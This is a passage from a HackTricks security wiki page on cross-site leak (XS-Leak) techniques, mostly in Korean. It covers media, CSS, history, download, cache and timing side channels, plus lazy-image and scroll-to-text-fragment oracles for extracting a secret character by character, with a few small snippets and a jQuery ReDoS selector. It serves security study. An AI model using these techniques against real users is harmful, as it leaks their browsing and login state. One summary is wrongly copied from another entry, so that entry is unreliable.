* **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)

HTML 요소를 통한 정보 유출은 웹 보안에서 우려되는 문제로, 특히 사용자 정보에 따라 동적 미디어 파일이 생성되거나 워터마크가 추가되어 미디어 크기가 변경될 때 더욱 그렇습니다. 이는 공격자가 특정 HTML 요소에 의해 노출된 정보를 분석하여 가능한 상태를 구별하는 데 악용될 수 있습니다.

### Information Exposed by HTML Elements

* **HTMLMediaElement**: 이 요소는 미디어의 `duration` 및 `buffered` 시간을 노출하며, API를 통해 접근할 수 있습니다. [HTMLMediaElement에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
* **HTMLVideoElement**: `videoHeight` 및 `videoWidth`를 노출합니다. 일부 브라우저에서는 `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, `webkitDecodedFrameCount`와 같은 추가 속성이 제공되어 미디어 콘텐츠에 대한 더 깊은 정보를 제공합니다. [HTMLVideoElement에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
* **getVideoPlaybackQuality()**: 이 함수는 비디오 재생 품질에 대한 세부 정보를 제공하며, `totalVideoFrames`를 포함하여 처리된 비디오 데이터의 양을 나타낼 수 있습니다. [getVideoPlaybackQuality()에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
* **HTMLImageElement**: 이 요소는 이미지의 `height` 및 `width`를 유출합니다. 그러나 이미지가 유효하지 않으면 이러한 속성은 0을 반환하고, `image.decode()` 함수는 거부되어 이미지를 제대로 로드하지 못했음을 나타냅니다. [HTMLImageElement에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)

### CSS Property

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **Summary:** 사용자의 상태 또는 상태와 관련된 웹사이트 스타일의 변화를 식별합니다.
* **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)

웹 애플리케이션은 사용자의 상태에 따라 **웹사이트 스타일을 변경할 수 있습니다**. 공격자 페이지에 **HTML 링크 요소**를 사용하여 교차 출처 CSS 파일을 삽입할 수 있으며, **규칙**은 공격자 페이지에 **적용됩니다**. 페이지가 이러한 규칙을 동적으로 변경하면, 공격자는 사용자 상태에 따라 이러한 **차이**를 **감지**할 수 있습니다.\
유출 기술로서, 공격자는 `window.getComputedStyle` 메서드를 사용하여 특정 HTML 요소의 **CSS** 속성을 **읽을 수 있습니다**. 결과적으로, 공격자는 영향을 받는 요소와 속성 이름이 알려져 있다면 임의의 CSS 속성을 읽을 수 있습니다.

### CSS History

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **Summary:** URL에 `:visited` 스타일이 적용되었는지 감지하여 이미 방문했음을 나타냅니다.
* **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)

{% hint style="info" %}
[**이것**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)에 따르면, 이는 헤드리스 크롬에서 작동하지 않습니다.
{% endhint %}

CSS `:visited` 선택자는 사용자가 이전에 방문한 경우 URL을 다르게 스타일링하는 데 사용됩니다. 과거에는 `getComputedStyle()` 메서드를 사용하여 이러한 스타일 차이를 식별할 수 있었습니다. 그러나 현대 브라우저는 이 메서드가 링크의 상태를 노출하는 것을 방지하기 위해 보안 조치를 구현했습니다. 이러한 조치에는 링크가 방문된 것처럼 항상 계산된 스타일을 반환하고 `:visited` 선택자로 적용할 수 있는 스타일을 제한하는 것이 포함됩니다.

이러한 제한에도 불구하고 링크의 방문 상태를 간접적으로 식별할 수 있습니다. 한 가지 기술은 사용자가 CSS에 영향을 받는 영역과 상호작용하도록 유도하는 것입니다. 특히 `mix-blend-mode` 속성을 활용합니다. 이 속성은 요소와 배경을 혼합할 수 있게 하여 사용자 상호작용에 따라 방문 상태를 드러낼 수 있습니다.

또한, 링크의 렌더링 타이밍을 악용하여 사용자 상호작용 없이 감지를 수행할 수 있습니다. 브라우저는 방문한 링크와 방문하지 않은 링크를 다르게 렌더링할 수 있으므로, 이는 렌더링에서 측정 가능한 시간 차이를 초래할 수 있습니다. 여러 링크를 사용하여 타이밍 차이를 증폭시키는 이 기술을 보여주는 개념 증명(PoC)이 크롬 버그 보고서에 언급되었습니다. 이를 통해 타이밍 분석을 통해 방문 상태를 감지할 수 있습니다.

이러한 속성과 방법에 대한 자세한 내용은 문서 페이지를 방문하십시오:

* `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
* `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
* `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)

### ContentDocument X-Frame Leak

* **Inclusion Methods**: Frames
* **Detectable Difference**: Headers
* **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **Summary:** Google Chrome에서는 X-Frame-Options 제한으로 인해 페이지가 교차 출처 사이트에 포함되는 것이 차단될 때 전용 오류 페이지가 표시됩니다.
* **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)

크롬에서 `X-Frame-Options` 헤더가 "deny" 또는 "same-origin"으로 설정된 페이지가 객체로 포함되면 오류 페이지가 나타납니다. 크롬은 이 객체의 `contentDocument` 속성에 대해 빈 문서 객체(대신 `null`이 아님)를 고유하게 반환합니다. 이는 iframe이나 다른 브라우저와는 다릅니다. 공격자는 빈 문서를 감지하여 사용자의 상태에 대한 정보를 유출할 수 있습니다. 특히 개발자가 X-Frame-Options 헤더를 일관되게 설정하지 않고 오류 페이지를 간과하는 경우 더욱 그렇습니다. 이러한 유출을 방지하기 위해 보안 헤더의 인식과 일관된 적용이 중요합니다.

### Download Detection

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Headers
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **Summary:** 공격자는 iframe을 활용하여 파일 다운로드를 감지할 수 있습니다. iframe의 지속적인 접근 가능성은 파일 다운로드가 성공적으로 이루어졌음을 의미합니다.
* **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)

`Content-Disposition` 헤더, 특히 `Content-Disposition: attachment`는 브라우저에 콘텐츠를 인라인으로 표시하는 대신 다운로드하도록 지시합니다. 이 동작은 사용자가 파일 다운로드를 트리거하는 페이지에 접근할 수 있는지 감지하는 데 악용될 수 있습니다. 크로미움 기반 브라우저에서는 이 다운로드 동작을 감지하기 위한 몇 가지 기술이 있습니다:

1. **다운로드 바 모니터링**:
* 크로미움 기반 브라우저에서 파일이 다운로드되면 브라우저 창 하단에 다운로드 바가 나타납니다.
* 창 높이의 변화를 모니터링하여 다운로드 바의 나타남을 추론할 수 있습니다.
2. **iframe을 통한 다운로드 탐색**:
* 페이지가 `Content-Disposition: attachment` 헤더를 사용하여 파일 다운로드를 트리거할 때 탐색 이벤트를 발생시키지 않습니다.
* 콘텐츠를 iframe에 로드하고 탐색 이벤트를 모니터링하여 콘텐츠 배치가 파일 다운로드를 유발하는지(탐색 없음) 여부를 확인할 수 있습니다.
3. **iframe 없이 다운로드 탐색**:
* iframe 기술과 유사하게, 이 방법은 iframe 대신 `window.open`을 사용합니다.
* 새로 열린 창에서 탐색 이벤트를 모니터링하여 파일 다운로드가 트리거되었는지(탐색 없음) 또는 콘텐츠가 인라인으로 표시되었는지(탐색 발생)를 확인할 수 있습니다.

로그인한 사용자만 이러한 다운로드를 트리거할 수 있는 시나리오에서는 이러한 기술을 사용하여 다운로드 요청에 대한 브라우저의 응답을 기반으로 사용자의 인증 상태를 간접적으로 추론할 수 있습니다.

### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>

* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Timing
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **Summary:** 공격자는 iframe을 활용하여 파일 다운로드를 감지할 수 있습니다. iframe의 지속적인 접근 가능성은 파일 다운로드가 성공적으로 이루어졌음을 의미합니다.
* **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))

{% hint style="warning" %}
이 기술이 흥미로운 이유는 다음과 같습니다: 크롬은 이제 **캐시 파티셔닝**을 가지고 있으며, 새로 열린 페이지의 캐시 키는: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`입니다. 그러나 ngrok 페이지를 열고 fetch를 사용하면 캐시 키는: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`가 됩니다. **캐시 키가 다르므로** 캐시를 공유할 수 없습니다. 여기에서 더 많은 세부정보를 찾을 수 있습니다: [캐시 파티셔닝을 통한 보안 및 개인 정보 보호 확보](https://developer.chrome.com/blog/http-cache-partitioning/)\
([**여기**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)의 댓글)
{% endhint %}

사이트 `example.com`이 `*.example.com/resource`에서 리소스를 포함하면 해당 리소스는 **최상위 탐색을 통해 직접 요청된 것과 동일한 캐싱 키**를 갖게 됩니다. 이는 캐싱 키가 최상위 _eTLD+1_ 및 프레임 _eTLD+1_로 구성되기 때문입니다.

캐시에 접근하는 것이 리소스를 로드하는 것보다 빠르기 때문에, 페이지의 위치를 변경하고 20ms(예: 그 후) 후에 취소하려고 시도할 수 있습니다. 원본이 중지 후 변경되었다면, 리소스가 캐시되었음을 의미합니다.\
또는 **잠재적으로 캐시된 페이지에 대해 fetch를 보내고 소요 시간을 측정할 수 있습니다**.

### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Redirects
* **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
* **Summary:** fetch 요청에 대한 응답이 리디렉션인지 확인할 수 있습니다.
* **Code Example**:

![](<../.gitbook/assets/image (652).png>)

### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Timing
* **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **Summary:** 리소스를 로드하려고 시도하고 로드되기 전에 로딩이 중단됩니다. 오류가 발생하는지 여부에 따라 리소스가 캐시되었거나 그렇지 않았습니다.
* **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)

**fetch**와 **setTimeout**을 사용하여 **AbortController**로 리소스가 **캐시되었는지** 감지하고 특정 리소스를 브라우저 캐시에서 제거할 수 있습니다. 또한, 이 과정은 새로운 콘텐츠를 캐시하지 않고 발생합니다.

### Script Pollution

* **Inclusion Methods**: HTML Elements (script)
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **Summary:** **내장 함수를 덮어쓰고** 그 인수를 읽을 수 있으며, 이는 **교차 출처 스크립트**에서도 가능합니다(직접 읽을 수 없음). 이는 **귀중한 정보를 유출할 수 있습니다**.
* **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)

### Service Workers <a href="#service-workers" id="service-workers"></a>

* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **Summary:** 서비스 워커를 사용하여 웹의 실행 시간을 측정합니다.
* **Code Example**:

주어진 시나리오에서 공격자는 자신의 도메인 중 하나인 "attacker.com" 내에서 **서비스 워커**를 등록하는 주도권을 잡습니다. 다음으로, 공격자는 메인 문서에서 대상 웹사이트의 새 창을 열고 **서비스 워커**에게 타이머를 시작하도록 지시합니다. 새 창이 로드되기 시작하면, 공격자는 이전 단계에서 얻은 참조를 **서비스 워커**가 관리하는 페이지로 탐색합니다.

이전 단계에서 시작된 요청이 도착하면, **서비스 워커**는 **204 (No Content)** 상태 코드로 응답하여 탐색 프로세스를 종료합니다. 이 시점에서 **서비스 워커**는 이전 단계에서 시작된 타이머의 측정을 캡처합니다. 이 측정치는 탐색 프로세스의 지연을 초래하는 JavaScript의 지속 시간에 의해 영향을 받습니다.

{% hint style="warning" %}
실행 타이밍에서는 **네트워크 요인**을 **제거**하여 **더 정확한 측정값**을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드하는 것입니다.
{% endhint %}

### Fetch Timing

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **Summary:** 요청을 수행하는 데 걸리는 시간을 측정하기 위해 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow)를 사용합니다. 다른 시계도 사용할 수 있습니다.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)

### Cross-Window Timing

* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **Summary:** `window.open`을 사용하여 요청을 수행하는 데 걸리는 시간을 측정하기 위해 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow)를 사용합니다. 다른 시계도 사용할 수 있습니다.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
지금 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## With HTML or Re Injection

여기에서는 **HTML 콘텐츠를 주입하여** 교차 출처에서 정보를 유출하는 기술을 찾을 수 있습니다. 이러한 기술은 어떤 이유로든 **HTML을 주입할 수 있지만 JS 코드를 주입할 수 없는 경우** 흥미롭습니다.

### Dangling Markup

{% content-ref url="dangling-markup-html-scriptless-injection/" %}
[dangling-markup-html-scriptless-injection](dangling-markup-html-scriptless-injection/)
{% endcontent-ref %}

### Image Lazy Loading

**콘텐츠를 유출해야 하고 비밀 이전에 HTML을 추가할 수 있는 경우**, **일반적인 dangling markup 기술**을 확인해야 합니다.\
그러나 어떤 이유로든 **문자를 하나씩** 수행해야 하는 경우(아마도 통신이 캐시 적중을 통해 이루어지는 경우) 이 트릭을 사용할 수 있습니다.

HTML의 **이미지**는 "**loading**" 속성이 있으며, 그 값은 "**lazy**"일 수 있습니다. 이 경우 이미지는 페이지가 로드되는 동안이 아니라 볼 때 로드됩니다:
```html
<img src=/something loading=lazy >
```
따라서 할 수 있는 것은 **많은 쓰레기 문자**를 **추가하는 것**입니다 (예: **수천 개의 "W"**) **비밀 앞에 웹 페이지를 채우거나** `<br><canvas height="1850px"></canvas><br>`와 같은 것을 추가하는 것입니다.\
예를 들어, 우리의 **주입이 플래그 앞에 나타나면**, **이미지**가 **로드될 것이지만**, **플래그 뒤에 나타나면**, 플래그 + 쓰레기가 **로드되는 것을 방지할 것입니다** (얼마나 많은 쓰레기를 배치할지는 조정해야 합니다). 이것은 [**이 글**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)에서 발생한 일입니다.

또 다른 옵션은 **scroll-to-text-fragment**를 사용하는 것입니다, 허용된다면:

#### Scroll-to-text-fragment

그러나 **봇이 페이지에 접근하도록** 만들 수 있습니다, 예를 들어
```
#:~:text=SECR
```
So the web page will be something like: **`https://victim.com/post.html#:~:text=SECR`**

Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.

What this text will do is to make the bot access any text in the page that contains the text `SECR`. As that text is the secret and it's just **below the image**, the **image will only load if the guessed secret is correct**. So there you have your oracle to **exfiltrate the secret char by char**.

Some code example to exploit this: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

### 이미지 지연 로딩 시간 기반

If it's **not possible to load an external image** that could indicate the attacker that the image was loaded, another option would be to try to **guess the char several times and measure that**. If the image is loaded all the requests would take longer that if the image isn't loaded. This is what was used in the [**solution of this writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **sumarized here:**

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

### ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}

### CSS ReDoS

If `jQuery(location.hash)` is used, it's possible to find out via timing i**f some HTML content exists**, this is because if the selector `main[id='site-main']` doesn't match it doesn't need to check the rest of the **selectors**:
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### CSS Injection

{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
{% endcontent-ref %}

## Defenses

[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)와 위키의 각 섹션 [https://xsleaks.dev/](https://xsleaks.dev/)에서 권장되는 완화 조치가 있습니다. 이러한 기술로부터 보호하는 방법에 대한 더 많은 정보를 보려면 그곳을 확인하세요.

## References

* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}